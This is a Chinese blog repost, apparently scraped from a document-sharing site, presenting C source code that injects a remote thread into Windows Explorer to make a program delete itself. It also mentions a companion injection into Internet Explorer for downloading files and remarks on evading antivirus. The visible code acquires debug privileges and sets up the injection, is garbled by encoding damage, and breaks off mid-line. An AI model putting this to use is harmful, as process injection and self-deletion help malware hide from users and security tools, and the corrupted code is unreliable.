利用远线程自删除示例代码.docVIP

利用远线程自删除的示例代码 大 | 中 | 小 2007/07/06 14:54 gyzy 先声明，本代码非我原创(FYC)，原作者是Swan,希望他不介意我转载他的代码 ^_^,网上公布的代码不完整，并且有一点小错误：/zwell/archive/2005/10/17/591961.aspx Sleep(rp-erval);fnSleep(rp-erval);正确的是应该动态获取函数的地址，上面的那个调用Call到引入表了，传入远线程不崩溃才怪，应该是转载的人搞错了吧.利用CreateRemoteThread进行代码注入几乎已经是陈谷子烂芝麻了，利用SetThreadContext或许知道的人少一点,卡巴6下就不必挣扎了，没戏编译环境:Visual Studio.Net 2003在Fully patched的Windows XP Sp2 Pro下测试成功,代码如下: 然后我又依葫芦画瓢，写了一个远线程注入IE下载东西的，代码也在下边，嘿嘿，咱中国人仿制能力就是一流: #include windows.h#include stdio.h//#ifndef DELETE_SELF_SWAN//#define DELETE_SELF_SWAN $$$typedef HINSTANCE (__stdcall *rfdeleteLoadLibraryW)(LPCTSTR);typedef FARPROC (__stdcall *rfdeleteGetProcAddress)(HMODULE, LPCSTR);typedef HINSTANCE (__stdcall *rfdeleteGetModuleHandle)(LPCTSTR);typedef DWORD (__stdcall *rfdeleteDeleteFileA)(char*);typedef void (__stdcall *rfdeleteSleep)(DWORD);  struct DeleteInfo{DWORD interval;char filename[255];};struct RemoteParam{rfdeleteLoadLibraryW fnLoadLibrary;rfdeleteGetProcAddress fnGetProcAddress;rfdeleteGetModuleHandle fnGetModuleHandle;//必须得传过去的函数名字char strKernel32[32];char strSleep[32];char strDeleteFileA[32];DeleteInfo di;};DWORD WINAPI RemoteDeleteSelfThread(void *para){?//动态加载获得函数地址?RemoteParam *rp=(RemoteParam *)para;?//kernel32.dll?HMODULE hModule = rp-fnGetModuleHandle(rp-strKernel32);?rfdeleteDeleteFileA fnDeleteFileA = (rfdeleteDeleteFileA)rp-fnGetProcAddress(hModule, rp-strDeleteFileA);?rfdeleteSleep fnSleep = (rfdeleteSleep)rp-fnGetProcAddress(hModule, rp-strSleep);de:?if(fnDeleteFileA(rp-di.filename) != 0)? ?goto re;?fnSleep(rp-erval);? ?goto de;re:?return true;}DWORD DeleteSelf(){?RemoteParam rp;?int iReturnCode;?int iSizeNeed = (int)DeleteSelf - (int)RemoteDeleteSelfThread + 1102;??HWND hWnd = FindWindow(Progman, Program Manager);?if(!hWnd)?{? ?return false;?}??DWORD dwRemoteProcessId;?GetWindowThreadProcessId(hWnd, dwRemoteProcessId);?//给自己debug权限?HANDLE hToken;?if(OpenProcessToken(GetCurrentProcess(),TOKE